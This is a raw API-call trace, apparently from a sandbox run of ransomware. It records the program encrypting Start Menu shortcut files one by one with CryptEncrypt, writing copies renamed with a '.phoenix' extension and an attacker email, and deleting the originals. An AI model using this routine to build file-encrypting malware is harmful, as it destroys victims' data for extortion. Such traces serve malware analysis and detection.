	[0266.759] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.759] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.790] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1118) returned 1
	[0266.791] CloseHandle (hObject=0x2c4) returned 1
	[0266.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk")) returned 0x20
	[0266.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0266.791] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.791] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.802] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0266.802] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.802] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x45e, lpOverlapped=0x0) returned 1
	[0266.840] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460, dwBufLen=0x460 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460) returned 1
	[0266.840] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x460, lpOverlapped=0x0) returned 1
	[0266.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0266.841] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.841] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0266.841] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.841] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0266.841] CryptDestroyKey (hKey=0x151140) returned 1
	[0266.841] CloseHandle (hObject=0x2c4) returned 1
	[0266.841] CloseHandle (hObject=0x240) returned 1
	[0266.905] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Print Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\print management.lnk")) returned 1
	[0266.905] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.905] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.906] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1158) returned 1
	[0266.906] CloseHandle (hObject=0x2b0) returned 1
	[0266.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk")) returned 0x20
	[0266.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.906] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.906] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.907] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0266.907] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.907] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x486, lpOverlapped=0x0) returned 1
	[0266.930] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490, dwBufLen=0x490 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490) returned 1
	[0266.930] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x490, lpOverlapped=0x0) returned 1
	[0266.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0266.931] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.931] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0266.931] CryptDestroyKey (hKey=0x151040) returned 1
	[0266.931] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0266.931] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0266.931] CloseHandle (hObject=0x2b0) returned 1
	[0266.931] CloseHandle (hObject=0x2e8) returned 1
	[0266.931] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk")) returned 1
	[0266.964] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0266.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.978] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1114) returned 1
	[0266.978] CloseHandle (hObject=0x244) returned 1
	[0266.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk")) returned 0x20
	[0266.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.979] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.979] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0266.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.984] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0266.984] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0266.984] ReadFile (in: hFile=0x244, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x45a, lpOverlapped=0x0) returned 1
	[0267.007] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460, dwBufLen=0x460 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x460) returned 1
	[0267.007] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x460, lpOverlapped=0x0) returned 1
	[0267.007] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0267.007] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.008] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.008] CryptDestroyKey (hKey=0x151100) returned 1
	[0267.008] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.008] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.008] CloseHandle (hObject=0x244) returned 1
	[0267.008] CloseHandle (hObject=0x304) returned 1
	[0267.008] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk")) returned 1
	[0267.008] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.008] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0267.009] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1132) returned 1
	[0267.009] CloseHandle (hObject=0x304) returned 1
	[0267.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk")) returned 0x20
	[0267.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.009] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0267.009] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.010] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.010] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.090] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0267.090] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.090] ReadFile (in: hFile=0x304, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x46c, lpOverlapped=0x0) returned 1
	[0267.156] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470, dwBufLen=0x470 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x470) returned 1
	[0267.156] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x470, lpOverlapped=0x0) returned 1
	[0267.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0267.157] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.157] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0267.157] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.157] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0267.157] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.157] CloseHandle (hObject=0x304) returned 1
	[0267.157] CloseHandle (hObject=0x2c4) returned 1
	[0267.158] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk")) returned 1
	[0267.158] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.158] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.158] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1156) returned 1
	[0267.158] CloseHandle (hObject=0x2c4) returned 1
	[0267.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk")) returned 0x20
	[0267.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.159] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.159] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.159] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0267.159] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0267.160] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0267.160] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.160] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x484, lpOverlapped=0x0) returned 1
	[0267.280] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490, dwBufLen=0x490 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x490) returned 1
	[0267.281] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x490, lpOverlapped=0x0) returned 1
	[0267.281] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0267.281] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0267.281] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80, dwBufLen=0x80 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x80) returned 1
	[0267.281] CryptDestroyKey (hKey=0x151380) returned 1
	[0267.282] WriteFile (in: hFile=0x304, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x132, lpOverlapped=0x0) returned 1
	[0267.282] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.282] CloseHandle (hObject=0x2c4) returned 1
	[0267.282] CloseHandle (hObject=0x304) returned 1
	[0267.282] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Windows Firewall with Advanced Security.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\windows firewall with advanced security.lnk")) returned 1
	[0267.282] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0267.282] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.299] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2349) returned 1
	[0267.299] CloseHandle (hObject=0x2c4) returned 1
	[0267.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk")) returned 0x25
	[0267.299] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk", dwFileAttributes=0x24) returned 1
	[0267.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Immersive Control Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\immersive control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
